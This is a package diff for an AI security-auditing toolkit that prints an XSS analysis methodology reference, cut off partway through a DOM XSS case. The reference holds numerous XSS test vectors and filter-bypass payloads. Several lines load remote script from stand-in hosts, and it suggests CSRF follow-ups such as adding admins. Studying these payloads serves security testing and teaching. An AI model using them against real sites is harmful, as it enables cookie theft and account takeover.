@vigolium/piolium 0.0.1

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (271) hide show
  1. package/LICENSE +21 -0
  2. package/README.md +117 -0
  3. package/agents/access-auditor.md +300 -0
  4. package/agents/assumption-breaker.md +154 -0
  5. package/agents/attack-designer.md +116 -0
  6. package/agents/code-scanner.md +139 -0
  7. package/agents/concurrency-auditor.md +238 -0
  8. package/agents/confirm-writer.md +257 -0
  9. package/agents/context-reviewer.md +274 -0
  10. package/agents/cross-verifier.md +165 -0
  11. package/agents/cve-scout.md +381 -0
  12. package/agents/env-builder.md +282 -0
  13. package/agents/env-profiler.md +205 -0
  14. package/agents/evidence-collector.md +140 -0
  15. package/agents/finding-grader.md +142 -0
  16. package/agents/finding-writer.md +148 -0
  17. package/agents/flow-tracer.md +106 -0
  18. package/agents/goal-backtracer.md +146 -0
  19. package/agents/history-miner.md +467 -0
  20. package/agents/independent-verifier.md +118 -0
  21. package/agents/intent-mapper.md +183 -0
  22. package/agents/longshot-collector.md +128 -0
  23. package/agents/longshot-prober.md +126 -0
  24. package/agents/patch-auditor.md +73 -0
  25. package/agents/poc-author.md +124 -0
  26. package/agents/poc-runner.md +194 -0
  27. package/agents/probe-lead.md +269 -0
  28. package/agents/red-challenger.md +101 -0
  29. package/agents/report-composer.md +208 -0
  30. package/agents/review-adjudicator.md +216 -0
  31. package/agents/spec-auditor.md +155 -0
  32. package/agents/taint-tracer.md +265 -0
  33. package/agents/test-locator.md +209 -0
  34. package/agents/threat-modeler.md +132 -0
  35. package/agents/variant-scanner.md +108 -0
  36. package/agents/variant-spotter.md +110 -0
  37. package/bin/piolium.mjs +376 -0
  38. package/extensions/piolium/_vendor/yaml.bundle.d.mts +6 -0
  39. package/extensions/piolium/_vendor/yaml.bundle.mjs +139 -0
  40. package/extensions/piolium/agent-runner.ts +322 -0
  41. package/extensions/piolium/agents.ts +266 -0
  42. package/extensions/piolium/audit-state.ts +522 -0
  43. package/extensions/piolium/bundled-resources.ts +97 -0
  44. package/extensions/piolium/candidate-scan.ts +966 -0
  45. package/extensions/piolium/command-target.ts +177 -0
  46. package/extensions/piolium/console-stream.ts +57 -0
  47. package/extensions/piolium/export-results.ts +380 -0
  48. package/extensions/piolium/findings.ts +448 -0
  49. package/extensions/piolium/heartbeat.ts +182 -0
  50. package/extensions/piolium/help.ts +234 -0
  51. package/extensions/piolium/index.ts +1865 -0
  52. package/extensions/piolium/longshot.ts +530 -0
  53. package/extensions/piolium/matcher-suggestions.ts +196 -0
  54. package/extensions/piolium/matcher-utils.ts +83 -0
  55. package/extensions/piolium/modes/balanced.ts +750 -0
  56. package/extensions/piolium/modes/confirm-bootstrap.ts +186 -0
  57. package/extensions/piolium/modes/confirm.ts +697 -0
  58. package/extensions/piolium/modes/deep.ts +917 -0
  59. package/extensions/piolium/modes/diff.ts +177 -0
  60. package/extensions/piolium/modes/lite.ts +540 -0
  61. package/extensions/piolium/modes/longshot.ts +595 -0
  62. package/extensions/piolium/modes/merge.ts +204 -0
  63. package/extensions/piolium/modes/phase-runner.ts +267 -0
  64. package/extensions/piolium/modes/reinvest.ts +546 -0
  65. package/extensions/piolium/modes/revisit.ts +279 -0
  66. package/extensions/piolium/modes.ts +48 -0
  67. package/extensions/piolium/phase-labels.ts +123 -0
  68. package/extensions/piolium/phase-status-strip.ts +92 -0
  69. package/extensions/piolium/prompt-prefix-editor.ts +39 -0
  70. package/extensions/piolium/providers/anthropic-vertex.ts +836 -0
  71. package/extensions/piolium/recon.ts +409 -0
  72. package/extensions/piolium/result-stats.ts +105 -0
  73. package/extensions/piolium/retry.ts +120 -0
  74. package/extensions/piolium/scheduler.ts +212 -0
  75. package/extensions/piolium/secrets.ts +368 -0
  76. package/extensions/piolium/tools/web-tools.ts +148 -0
  77. package/package.json +77 -0
  78. package/skills/agentic-actions-auditor/SKILL.md +327 -0
  79. package/skills/agentic-actions-auditor/references/action-profiles.md +186 -0
  80. package/skills/agentic-actions-auditor/references/cross-file-resolution.md +209 -0
  81. package/skills/agentic-actions-auditor/references/foundations.md +94 -0
  82. package/skills/agentic-actions-auditor/references/vector-a-env-var-intermediary.md +77 -0
  83. package/skills/agentic-actions-auditor/references/vector-b-direct-expression-injection.md +83 -0
  84. package/skills/agentic-actions-auditor/references/vector-c-cli-data-fetch.md +83 -0
  85. package/skills/agentic-actions-auditor/references/vector-d-pr-target-checkout.md +88 -0
  86. package/skills/agentic-actions-auditor/references/vector-e-error-log-injection.md +88 -0
  87. package/skills/agentic-actions-auditor/references/vector-f-subshell-expansion.md +82 -0
  88. package/skills/agentic-actions-auditor/references/vector-g-eval-of-ai-output.md +91 -0
  89. package/skills/agentic-actions-auditor/references/vector-h-dangerous-sandbox-configs.md +102 -0
  90. package/skills/agentic-actions-auditor/references/vector-i-wildcard-allowlists.md +88 -0
  91. package/skills/audit/SKILL.md +562 -0
  92. package/skills/audit/assets/icon.svg +7 -0
  93. package/skills/audit/hooks/scripts/validate_phase_output.py +550 -0
  94. package/skills/audit/references/adversarial-review.md +148 -0
  95. package/skills/audit/references/architecture-aware-sast.md +306 -0
  96. package/skills/audit/references/audit-workflow.md +737 -0
  97. package/skills/audit/references/chamber-protocol.md +384 -0
  98. package/skills/audit/references/creative-attack-modes.md +221 -0
  99. package/skills/audit/references/deep-analysis.md +273 -0
  100. package/skills/audit/references/domain-attack-playbooks.md +1129 -0
  101. package/skills/audit/references/knowledge-base-template.md +513 -0
  102. package/skills/audit/references/real-env-validation.md +191 -0
  103. package/skills/audit/references/report-templates.md +417 -0
  104. package/skills/audit/references/triage-and-prereqs.md +134 -0
  105. package/skills/audit/scripts/consolidate_drafts.py +554 -0
  106. package/skills/audit/scripts/partition_findings.py +152 -0
  107. package/skills/audit/scripts/rg-hotspots.sh +121 -0
  108. package/skills/audit/scripts/stamp_file_state.py +349 -0
  109. package/skills/code-reviewer/SKILL.md +65 -0
  110. package/skills/codeql/SKILL.md +281 -0
  111. package/skills/codeql/references/build-fixes.md +90 -0
  112. package/skills/codeql/references/diagnostic-query-templates.md +339 -0
  113. package/skills/codeql/references/extension-yaml-format.md +209 -0
  114. package/skills/codeql/references/important-only-suite.md +153 -0
  115. package/skills/codeql/references/language-details.md +207 -0
  116. package/skills/codeql/references/macos-arm64e-workaround.md +179 -0
  117. package/skills/codeql/references/performance-tuning.md +111 -0
  118. package/skills/codeql/references/quality-assessment.md +172 -0
  119. package/skills/codeql/references/ruleset-catalog.md +63 -0
  120. package/skills/codeql/references/run-all-suite.md +92 -0
  121. package/skills/codeql/references/sarif-processing.md +79 -0
  122. package/skills/codeql/references/threat-models.md +51 -0
  123. package/skills/codeql/workflows/build-database.md +280 -0
  124. package/skills/codeql/workflows/create-data-extensions.md +261 -0
  125. package/skills/codeql/workflows/run-analysis.md +301 -0
  126. package/skills/differential-review/SKILL.md +220 -0
  127. package/skills/differential-review/adversarial.md +203 -0
  128. package/skills/differential-review/methodology.md +234 -0
  129. package/skills/differential-review/patterns.md +300 -0
  130. package/skills/differential-review/reporting.md +369 -0
  131. package/skills/fp-check/SKILL.md +125 -0
  132. package/skills/fp-check/references/bug-class-verification.md +114 -0
  133. package/skills/fp-check/references/deep-verification.md +143 -0
  134. package/skills/fp-check/references/evidence-templates.md +91 -0
  135. package/skills/fp-check/references/false-positive-patterns.md +115 -0
  136. package/skills/fp-check/references/gate-reviews.md +27 -0
  137. package/skills/fp-check/references/standard-verification.md +78 -0
  138. package/skills/insecure-defaults/SKILL.md +117 -0
  139. package/skills/insecure-defaults/references/examples.md +409 -0
  140. package/skills/last30days/SKILL.md +444 -0
  141. package/skills/sarif-parsing/SKILL.md +483 -0
  142. package/skills/sarif-parsing/resources/jq-queries.md +162 -0
  143. package/skills/sarif-parsing/resources/sarif_helpers.py +331 -0
  144. package/skills/security-threat-model/LICENSE.txt +201 -0
  145. package/skills/security-threat-model/SKILL.md +81 -0
  146. package/skills/security-threat-model/agents/openai.yaml +4 -0
  147. package/skills/security-threat-model/references/prompt-template.md +255 -0
  148. package/skills/security-threat-model/references/security-controls-and-assets.md +32 -0
  149. package/skills/semgrep/SKILL.md +212 -0
  150. package/skills/semgrep/references/rulesets.md +162 -0
  151. package/skills/semgrep/references/scan-modes.md +110 -0
  152. package/skills/semgrep/references/scanner-task-prompt.md +140 -0
  153. package/skills/semgrep/scripts/merge_sarif.py +203 -0
  154. package/skills/semgrep/workflows/scan-workflow.md +311 -0
  155. package/skills/semgrep-rule-creator/SKILL.md +168 -0
  156. package/skills/semgrep-rule-creator/references/quick-reference.md +202 -0
  157. package/skills/semgrep-rule-creator/references/workflow.md +240 -0
  158. package/skills/semgrep-rule-variant-creator/SKILL.md +205 -0
  159. package/skills/semgrep-rule-variant-creator/references/applicability-analysis.md +250 -0
  160. package/skills/semgrep-rule-variant-creator/references/language-syntax-guide.md +324 -0
  161. package/skills/semgrep-rule-variant-creator/references/workflow.md +518 -0
  162. package/skills/sharp-edges/SKILL.md +292 -0
  163. package/skills/sharp-edges/references/auth-patterns.md +252 -0
  164. package/skills/sharp-edges/references/case-studies.md +274 -0
  165. package/skills/sharp-edges/references/config-patterns.md +333 -0
  166. package/skills/sharp-edges/references/crypto-apis.md +190 -0
  167. package/skills/sharp-edges/references/lang-c.md +205 -0
  168. package/skills/sharp-edges/references/lang-csharp.md +285 -0
  169. package/skills/sharp-edges/references/lang-go.md +270 -0
  170. package/skills/sharp-edges/references/lang-java.md +263 -0
  171. package/skills/sharp-edges/references/lang-javascript.md +269 -0
  172. package/skills/sharp-edges/references/lang-kotlin.md +265 -0
  173. package/skills/sharp-edges/references/lang-php.md +245 -0
  174. package/skills/sharp-edges/references/lang-python.md +274 -0
  175. package/skills/sharp-edges/references/lang-ruby.md +273 -0
  176. package/skills/sharp-edges/references/lang-rust.md +272 -0
  177. package/skills/sharp-edges/references/lang-swift.md +287 -0
  178. package/skills/sharp-edges/references/language-specific.md +588 -0
  179. package/skills/spec-to-code-compliance/SKILL.md +357 -0
  180. package/skills/spec-to-code-compliance/resources/COMPLETENESS_CHECKLIST.md +69 -0
  181. package/skills/spec-to-code-compliance/resources/IR_EXAMPLES.md +417 -0
  182. package/skills/spec-to-code-compliance/resources/OUTPUT_REQUIREMENTS.md +105 -0
  183. package/skills/supply-chain-risk-auditor/SKILL.md +67 -0
  184. package/skills/supply-chain-risk-auditor/resources/results-template.md +41 -0
  185. package/skills/variant-analysis/METHODOLOGY.md +327 -0
  186. package/skills/variant-analysis/SKILL.md +142 -0
  187. package/skills/variant-analysis/resources/codeql/cpp.ql +119 -0
  188. package/skills/variant-analysis/resources/codeql/go.ql +69 -0
  189. package/skills/variant-analysis/resources/codeql/java.ql +71 -0
  190. package/skills/variant-analysis/resources/codeql/javascript.ql +63 -0
  191. package/skills/variant-analysis/resources/codeql/python.ql +80 -0
  192. package/skills/variant-analysis/resources/semgrep/cpp.yaml +98 -0
  193. package/skills/variant-analysis/resources/semgrep/go.yaml +63 -0
  194. package/skills/variant-analysis/resources/semgrep/java.yaml +61 -0
  195. package/skills/variant-analysis/resources/semgrep/javascript.yaml +60 -0
  196. package/skills/variant-analysis/resources/semgrep/python.yaml +72 -0
  197. package/skills/variant-analysis/resources/variant-report-template.md +75 -0
  198. package/skills/vuln-report/SKILL.md +137 -0
  199. package/skills/vuln-report/agents/openai.yaml +4 -0
  200. package/skills/vuln-report/references/report-template.md +135 -0
  201. package/skills/wooyun-legacy/SKILL.md +367 -0
  202. package/skills/wooyun-legacy/references/bank-penetration.md +222 -0
  203. package/skills/wooyun-legacy/references/checklists/command-execution-checklist.md +119 -0
  204. package/skills/wooyun-legacy/references/checklists/csrf-checklist.md +74 -0
  205. package/skills/wooyun-legacy/references/checklists/file-upload-checklist.md +108 -0
  206. package/skills/wooyun-legacy/references/checklists/info-disclosure-checklist.md +114 -0
  207. package/skills/wooyun-legacy/references/checklists/logic-flaws-checklist.md +95 -0
  208. package/skills/wooyun-legacy/references/checklists/misconfig-checklist.md +124 -0
  209. package/skills/wooyun-legacy/references/checklists/path-traversal-checklist.md +87 -0
  210. package/skills/wooyun-legacy/references/checklists/rce-checklist.md +93 -0
  211. package/skills/wooyun-legacy/references/checklists/sql-injection-checklist.md +97 -0
  212. package/skills/wooyun-legacy/references/checklists/ssrf-checklist.md +99 -0
  213. package/skills/wooyun-legacy/references/checklists/unauthorized-access-checklist.md +89 -0
  214. package/skills/wooyun-legacy/references/checklists/weak-password-checklist.md +115 -0
  215. package/skills/wooyun-legacy/references/checklists/xss-checklist.md +103 -0
  216. package/skills/wooyun-legacy/references/checklists/xxe-checklist.md +130 -0
  217. package/skills/wooyun-legacy/references/info-disclosure.md +975 -0
  218. package/skills/wooyun-legacy/references/logic-flaws.md +721 -0
  219. package/skills/wooyun-legacy/references/path-traversal.md +1191 -0
  220. package/skills/wooyun-legacy/references/telecom-penetration.md +156 -0
  221. package/skills/wooyun-legacy/references/unauthorized-access.md +980 -0
  222. package/skills/wooyun-legacy/references/xss.md +746 -0
  223. package/skills/zeroize-audit/SKILL.md +371 -0
  224. package/skills/zeroize-audit/configs/c.yaml +21 -0
  225. package/skills/zeroize-audit/configs/default.yaml +128 -0
  226. package/skills/zeroize-audit/configs/rust.yaml +83 -0
  227. package/skills/zeroize-audit/prompts/report_template.md +238 -0
  228. package/skills/zeroize-audit/prompts/system.md +163 -0
  229. package/skills/zeroize-audit/prompts/task.md +97 -0
  230. package/skills/zeroize-audit/references/compile-commands.md +231 -0
  231. package/skills/zeroize-audit/references/detection-strategy.md +191 -0
  232. package/skills/zeroize-audit/references/ir-analysis.md +252 -0
  233. package/skills/zeroize-audit/references/mcp-analysis.md +221 -0
  234. package/skills/zeroize-audit/references/poc-generation.md +470 -0
  235. package/skills/zeroize-audit/references/rust-zeroization-patterns.md +867 -0
  236. package/skills/zeroize-audit/schemas/input.json +83 -0
  237. package/skills/zeroize-audit/schemas/output.json +140 -0
  238. package/skills/zeroize-audit/tools/analyze_asm.sh +202 -0
  239. package/skills/zeroize-audit/tools/analyze_cfg.py +381 -0
  240. package/skills/zeroize-audit/tools/analyze_heap.sh +211 -0
  241. package/skills/zeroize-audit/tools/analyze_ir_semantic.py +429 -0
  242. package/skills/zeroize-audit/tools/diff_ir.sh +135 -0
  243. package/skills/zeroize-audit/tools/diff_rust_mir.sh +189 -0
  244. package/skills/zeroize-audit/tools/emit_asm.sh +67 -0
  245. package/skills/zeroize-audit/tools/emit_ir.sh +77 -0
  246. package/skills/zeroize-audit/tools/emit_rust_asm.sh +178 -0
  247. package/skills/zeroize-audit/tools/emit_rust_ir.sh +150 -0
  248. package/skills/zeroize-audit/tools/emit_rust_mir.sh +158 -0
  249. package/skills/zeroize-audit/tools/extract_compile_flags.py +284 -0
  250. package/skills/zeroize-audit/tools/generate_poc.py +1329 -0
  251. package/skills/zeroize-audit/tools/mcp/apply_confidence_gates.py +113 -0
  252. package/skills/zeroize-audit/tools/mcp/check_mcp.sh +68 -0
  253. package/skills/zeroize-audit/tools/mcp/normalize_mcp_evidence.py +125 -0
  254. package/skills/zeroize-audit/tools/scripts/check_llvm_patterns.py +481 -0
  255. package/skills/zeroize-audit/tools/scripts/check_mir_patterns.py +554 -0
  256. package/skills/zeroize-audit/tools/scripts/check_rust_asm.py +424 -0
  257. package/skills/zeroize-audit/tools/scripts/check_rust_asm_aarch64.py +300 -0
  258. package/skills/zeroize-audit/tools/scripts/check_rust_asm_x86.py +283 -0
  259. package/skills/zeroize-audit/tools/scripts/find_dangerous_apis.py +375 -0
  260. package/skills/zeroize-audit/tools/scripts/semantic_audit.py +923 -0
  261. package/skills/zeroize-audit/tools/track_dataflow.sh +196 -0
  262. package/skills/zeroize-audit/tools/validate_rust_toolchain.sh +298 -0
  263. package/skills/zeroize-audit/workflows/phase-0-preflight.md +150 -0
  264. package/skills/zeroize-audit/workflows/phase-1-source-analysis.md +144 -0
  265. package/skills/zeroize-audit/workflows/phase-2-compiler-analysis.md +139 -0
  266. package/skills/zeroize-audit/workflows/phase-3-interim-report.md +46 -0
  267. package/skills/zeroize-audit/workflows/phase-4-poc-generation.md +46 -0
  268. package/skills/zeroize-audit/workflows/phase-5-poc-validation.md +136 -0
  269. package/skills/zeroize-audit/workflows/phase-6-final-report.md +44 -0
  270. package/skills/zeroize-audit/workflows/phase-7-test-generation.md +42 -0
  271. package/themes/piolium-srcery.json +94 -0
@@ -0,0 +1,746 @@
1
+ # XSS Vulnerability Analysis Methodology
2
+
3
+ > Distilled from 7,532 cases | Data source: WooYun Vulnerability Database (2010-2016)
4
+
5
+ ---
6
+
7
+ ## 1. Metacognitive Framework: Understanding the Nature of XSS
8
+
9
+ ### 1.1 Core Principles
10
+
11
+ The essence of XSS is **breaking trust boundaries**:
12
+ - **Input trust**: The application trusts that user input is "data" rather than "code"
13
+ - **Output trust**: The browser trusts that content returned by the server is "safe"
14
+ - **Context confusion**: Semantic changes of data across different contexts (HTML/JS/CSS/URL)
15
+
16
+ ### 1.2 Three-Layer Analysis Model
17
+
18
+ ```
19
+ +-----------------------------------------------------+
20
+ | Layer 1: Input Point Identification |
21
+ | (Where does data enter?) |
22
+ +---------------------------------+-------------------+
23
+ | Layer 2: Data Flow Tracing |
24
+ | (How does data flow?) |
25
+ +---------------------------------+-------------------+
26
+ | Layer 3: Output Context |
27
+ | (Where does data render?) |
28
+ +-----------------------------------------------------+
29
+ ```
30
+
31
+ ---
32
+
33
+ ## 2. Output Point Identification and Classification
34
+
35
+ ### 2.1 High-Risk Output Point Classification Matrix
36
+
37
+ | Output Point Type | Trigger Condition | Typical Scenario | Case Source |
38
+ |-------------------|-------------------|------------------|-------------|
39
+ | User nickname/signature | Page load | Profile pages, comment sections, friend lists | Social networking site, gaming platform, IM client |
40
+ | Search box reflection | Search operation | Search results page, search history | Social platform, search engine forums |
41
+ | Comments/messages | Content display | Forums, blogs, product reviews | Automotive forum, e-commerce platform, internet company |
42
+ | Filename/description | File listing | Cloud storage, photo albums, attachment management | Search engine cloud storage service |
43
+ | Email body/subject | Opening email | Email systems | Coremail, webmail service, eYou |
44
+ | URL parameter reflection | Page rendering | Share links, redirect pages | Internet company mobile builder, social platform |
45
+ | Image alt/src | Image loading | Rich text editors | E-commerce forum |
46
+ | Flash parameters | SWF loading | Video players, music players | Social platform, music video site |
47
+ | Order notes/remarks | Backend viewing | E-commerce backend, ticket systems | Shopping CMS, e-commerce platform |
48
+ | API callback parameters | JS execution | JSONP, callback functions | Music video site Flash |
49
+
50
+ ### 2.2 Hidden Output Points (Commonly Overlooked)
51
+
52
+ **Case Insight**: The following output points are frequently missed during security testing
53
+
54
+ 1. **HTTP Header Reflection**
55
+ - X-Forwarded-For -> Logging systems
56
+ - Client-IP -> Backend IP display
57
+ - User-Agent -> Traffic analytics
58
+
59
+ 2. **Mobile/WAP Synchronization**
60
+ - WAP page submission -> PC display (classifieds website case)
61
+ - APP write -> Web display (fintech platform case)
62
+
63
+ 3. **Client-Web Synchronization**
64
+ - Client nickname -> Web page (IM client case)
65
+ - Desktop application settings -> Web admin panel
66
+
67
+ 4. **Secondary Rendering Points**
68
+ - Draft box title listing (search engine knowledge base case)
69
+ - Review/audit listing (CMS case)
70
+ - Admin backend statistics page
71
+
72
+ ---
73
+
74
+ ## 3. Context Analysis Methods
75
+
76
+ ### 3.1 Context Type Identification
77
+
78
+ #### 3.1.1 HTML Tag Content Context
79
+
80
+ ```html
81
+ <!-- Output point within tag content -->
82
+ <div>User input: {{OUTPUT}}</div>
83
+ ```
84
+
85
+ **Test Vectors**:
86
+ ```html
87
+ <script>alert(1)</script>
88
+ <img src=x onerror=alert(1)>
89
+ <svg onload=alert(1)>
90
+ <iframe src="javascript:alert(1)">
91
+ ```
92
+
93
+ #### 3.1.2 HTML Attribute Context
94
+
95
+ ```html
96
+ <!-- Output point within attribute value -->
97
+ <input value="{{OUTPUT}}">
98
+ <a href="{{OUTPUT}}">
99
+ <img src="{{OUTPUT}}">
100
+ ```
101
+
102
+ **Test Vectors**:
103
+ ```html
104
+ " onclick=alert(1) "
105
+ " onfocus=alert(1) autofocus="
106
+ "><script>alert(1)</script><"
107
+ " onmouseover=alert(1) x="
108
+ ```
109
+
110
+ #### 3.1.3 JavaScript Context
111
+
112
+ ```javascript
113
+ // Output point within JS string
114
+ var name = '{{OUTPUT}}';
115
+ var data = {"key": "{{OUTPUT}}"};
116
+ callback('{{OUTPUT}}');
117
+ ```
118
+
119
+ **Test Vectors**:
120
+ ```javascript
121
+ ';alert(1);//
122
+ '-alert(1)-'
123
+ \';alert(1);//
124
+ </script><script>alert(1)</script>
125
+ ```
126
+
127
+ **Real-World Case (social platform)**:
128
+ ```javascript
129
+ // Original code
130
+ backurl=http://...?url=aaaaaaaa',a:(alert(1))//
131
+ // Closing JSON object to achieve code execution
132
+ ```
133
+
134
+ #### 3.1.4 URL Context
135
+
136
+ ```html
137
+ <a href="{{OUTPUT}}">
138
+ <iframe src="{{OUTPUT}}">
139
+ ```
140
+
141
+ **Test Vectors**:
142
+ ```
143
+ javascript:alert(1)
144
+ data:text/html,<script>alert(1)</script>
145
+ data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==
146
+ ```
147
+
148
+ #### 3.1.5 CSS Context
149
+
150
+ ```html
151
+ <div style="{{OUTPUT}}">
152
+ <style>{{OUTPUT}}</style>
153
+ ```
154
+
155
+ **Test Vectors (IE-specific)**:
156
+ ```css
157
+ xss:expression(alert(1))
158
+ xss:\65\78\70\72\65\73\73\69\6f\6e(alert(1))
159
+ ```
160
+
161
+ ### 3.2 Quick Context Determination Flow
162
+
163
+ ```
164
+ +-- Examine output location in source code
165
+ |
166
+ +-- Inside <script> tag? -> JavaScript context
167
+ | |-- Check quote type (single/double), whether in string/object/function
168
+ |
169
+ +-- Inside HTML attribute? -> Attribute context
170
+ | |-- Check attribute type (event/src/href/regular)
171
+ |
172
+ +-- Inside tag content? -> HTML context
173
+ | |-- Check for special tags (textarea/title/script/style)
174
+ |
175
+ +-- Inside URL? -> URL context
176
+ | |-- Check protocol restrictions, encoding handling
177
+ |
178
+ +-- Inside CSS? -> CSS context
179
+ |-- Check whether expression is supported
180
+ ```
181
+
182
+ ---
183
+
184
+ ## 4. Bypass Techniques
185
+
186
+ ### 4.1 Encoding Bypass
187
+
188
+ #### 4.1.1 HTML Entity Encoding
189
+
190
+ **Scenario**: `<>` are filtered but HTML entities are not
191
+
192
+ ```html
193
+ <!-- Original filtering -->
194
+ <script> -> filtered
195
+
196
+ <!-- Bypass method -->
197
+ &#60;script&#62;alert(1)&#60;/script&#62;
198
+ &#x3c;script&#x3e;alert(1)&#x3c;/script&#x3e;
199
+ ```
200
+
201
+ **Real-World Case (automotive forum)**:
202
+ ```html
203
+ <!-- Direct insertion blocked -->
204
+ <script>alert(document.cookie)</script>
205
+
206
+ <!-- HTML decimal entity bypass successful -->
207
+ &#60;script&#62;alert(document.cookie)&#60;/script&#62;
208
+ ```
209
+
210
+ #### 4.1.2 Unicode Encoding
211
+
212
+ **Scenario**: WAF or filter does not handle Unicode
213
+
214
+ ```javascript
215
+ // Original
216
+ <iframe/onload=alert(1)>
217
+
218
+ // Unicode encoding bypass
219
+ \u003ciframe\u002fonload\u003dalert(1)\u003e
220
+
221
+ // Real-world case (PC manufacturer forum Flash XSS)
222
+ https://example.com/[redacted]
223
+ ```
224
+
225
+ #### 4.1.3 Base64 Encoding
226
+
227
+ **Scenario**: data protocol combined with base64
228
+
229
+ ```html
230
+ <object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==">
231
+ <iframe src="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==">
232
+ ```
233
+
234
+ #### 4.1.4 CSS Encoding (IE)
235
+
236
+ ```css
237
+ /* Hexadecimal encoding */
238
+ xss:\65\78\70\72\65\73\73\69\6f\6e(alert(1))
239
+ ```
240
+
241
+ ### 4.2 Tag Mutation Bypass
242
+
243
+ #### 4.2.1 Case Confusion
244
+
245
+ ```html
246
+ <ScRiPt>alert(1)</sCrIpT>
247
+ <IMG SRC=x OnErRoR=alert(1)>
248
+ ```
249
+
250
+ #### 4.2.2 Tag Separator Mutation
251
+
252
+ ```html
253
+ <script/src=//xss.com/x.js> <!-- Slash replacing space -->
254
+ <script src=//xss.com/x.js> <!-- Tab replacing space -->
255
+ <script
256
+ src=//xss.com/x.js> <!-- Newline replacing space -->
257
+ ```
258
+
259
+ #### 4.2.3 Attribute Separator Mutation
260
+
261
+ ```html
262
+ <img src=x onerror=alert(1)> <!-- No quotes -->
263
+ <img src=x onerror='alert(1)'> <!-- Single quotes -->
264
+ <img src=x onerror="alert(1)"> <!-- Double quotes -->
265
+ ```
266
+
267
+ ### 4.3 Event Trigger Bypass
268
+
269
+ #### 4.3.1 Alternative Event Handlers
270
+
271
+ ```html
272
+ <!-- Alternatives when common events are filtered -->
273
+ <img src=x onerror=alert(1)> <!-- Image load error -->
274
+ <svg onload=alert(1)> <!-- SVG load -->
275
+ <body onload=alert(1)> <!-- Page load -->
276
+ <input onfocus=alert(1) autofocus> <!-- Auto focus -->
277
+ <select autofocus onfocus=alert(1)> <!-- Select focus -->
278
+ <textarea autofocus onfocus=alert(1)> <!-- Textarea focus -->
279
+ <marquee onstart=alert(1)> <!-- Marquee start -->
280
+ <video><source onerror=alert(1)> <!-- Video source error -->
281
+ <audio src=x onerror=alert(1)> <!-- Audio error -->
282
+ <details open ontoggle=alert(1)> <!-- Details toggle -->
283
+ <frameset onload=alert(1)> <!-- Frameset load -->
284
+ ```
285
+
286
+ **Real-World Case (eYou email system)**:
287
+ ```html
288
+ <!-- autofocus + onfocus combination -->
289
+ <input autofocus onfocus=alert(1)>
290
+ <select autofocus onfocus=alert(2)>
291
+ <textarea autofocus onfocus=alert(3)>
292
+ ```
293
+
294
+ #### 4.3.2 User Interaction Events
295
+
296
+ ```html
297
+ <div onmouseover=alert(1)>hover me</div>
298
+ <div onmouseout=alert(1)>leave me</div>
299
+ <div onclick=alert(1)>click me</div>
300
+ <div oncontextmenu=alert(1)>right click</div>
301
+ ```
302
+
303
+ ### 4.4 WAF/Filter Bypass
304
+
305
+ #### 4.4.1 Character Insertion Bypass
306
+
307
+ **Real-World Case (WAF bypass)**:
308
+ ```html
309
+ <!-- Adding dots before/after <> to bypass -->
310
+ .<script src=http://localhost/1.js>.
311
+ ```
312
+
313
+ #### 4.4.2 Comment Interference
314
+
315
+ ```html
316
+ <!--[if true]><img onerror=alert(1) src=-->
317
+ ```
318
+
319
+ #### 4.4.3 Null Byte Bypass
320
+
321
+ ```html
322
+ <scr\x00ipt>alert(1)</script>
323
+ <img src=x o\x00nerror=alert(1)>
324
+ ```
325
+
326
+ #### 4.4.4 Double-Write Bypass
327
+
328
+ ```html
329
+ <!-- Filter removes "script" once -->
330
+ <scrscriptipt>alert(1)</scrscriptipt>
331
+ ```
332
+
333
+ ### 4.5 Length Restriction Bypass
334
+
335
+ #### 4.5.1 External JS Loading
336
+
337
+ ```html
338
+ <!-- Shortest external load -->
339
+ <script src=//xss.pw/j>
340
+
341
+ <!-- Combined with short domains -->
342
+ <script src=//short.example/xxx>
343
+ ```
344
+
345
+ #### 4.5.2 Segmented Injection
346
+
347
+ **Real-World Case (social networking site)**:
348
+ ```javascript
349
+ // Using String.fromCharCode to bypass length limits and keyword filtering
350
+ // Encode payload as character code sequence then execute
351
+ ```
352
+
353
+ #### 4.5.3 DOM Concatenation
354
+
355
+ ```javascript
356
+ // Creating script tag via DOM
357
+ var s=document.createElement('script');s.src='//x.com/x.js';document.body.appendChild(s);
358
+ ```
359
+
360
+ ### 4.6 HTTPOnly Bypass
361
+
362
+ #### 4.6.1 Flash Method
363
+
364
+ **Real-World Case (cloud storage service)**:
365
+ ```
366
+ Using Flash interfaces to obtain user information, bypassing httponly restrictions
367
+ Calling JS interfaces through Flash to implement cookie alternatives
368
+ ```
369
+
370
+ #### 4.6.2 CSRF Alternative
371
+
372
+ When cookies cannot be obtained, use CSRF approach instead:
373
+ - Execute sensitive operations (change password, add admin)
374
+ - Read page tokens
375
+ - Send phishing forms
376
+
377
+ ---
378
+
379
+ ## 5. DOM-based XSS Analysis
380
+
381
+ ### 5.1 Dangerous DOM Sources
382
+
383
+ ```javascript
384
+ // User-controllable DOM sources
385
+ document.URL
386
+ document.documentURI
387
+ document.URLUnencoded
388
+ document.baseURI
389
+ document.referrer
390
+ location
391
+ location.href
392
+ location.search
393
+ location.hash
394
+ location.pathname
395
+ window.name
396
+ document.cookie
397
+ ```
398
+
399
+ ### 5.2 Dangerous DOM Sinks
400
+
401
+ ```javascript
402
+ // Direct execution functions
403
+ setTimeout()
404
+ setInterval()
405
+ Function()
406
+
407
+ // HTML injection (dangerous methods, should be avoided)
408
+ innerHTML
409
+ outerHTML
410
+ insertAdjacentHTML()
411
+
412
+ // Attribute setting
413
+ element.src
414
+ element.href
415
+ element.action
416
+ ```
417
+
418
+ ### 5.3 DOM XSS Case Analysis
419
+
420
+ **Case 1: Improper document.domain Setting (internet company)**
421
+
422
+ ```javascript
423
+ // Vulnerable code
424
+ var g_sDomain = QSFL.excore.getURLParam("domain");
425
+ document.domain = g_sDomain;
426
+
427
+ // Exploitation (Webkit browsers)
428
+ https://example.com/[redacted]
429
+ // Can set document.domain to "com", breaking same-origin policy
430
+ ```
431
+
432
+ **Case 2: Flash htmlText Injection (social platform)**
433
+
434
+ ```actionscript
435
+ // Flash htmlText supports <img> tags for loading SWFs
436
+ this.txt_songName.htmlText = param1.songName;
437
+
438
+ // Exploitation
439
+ // Set song name to: <img src="https://example.com/[redacted]">
440
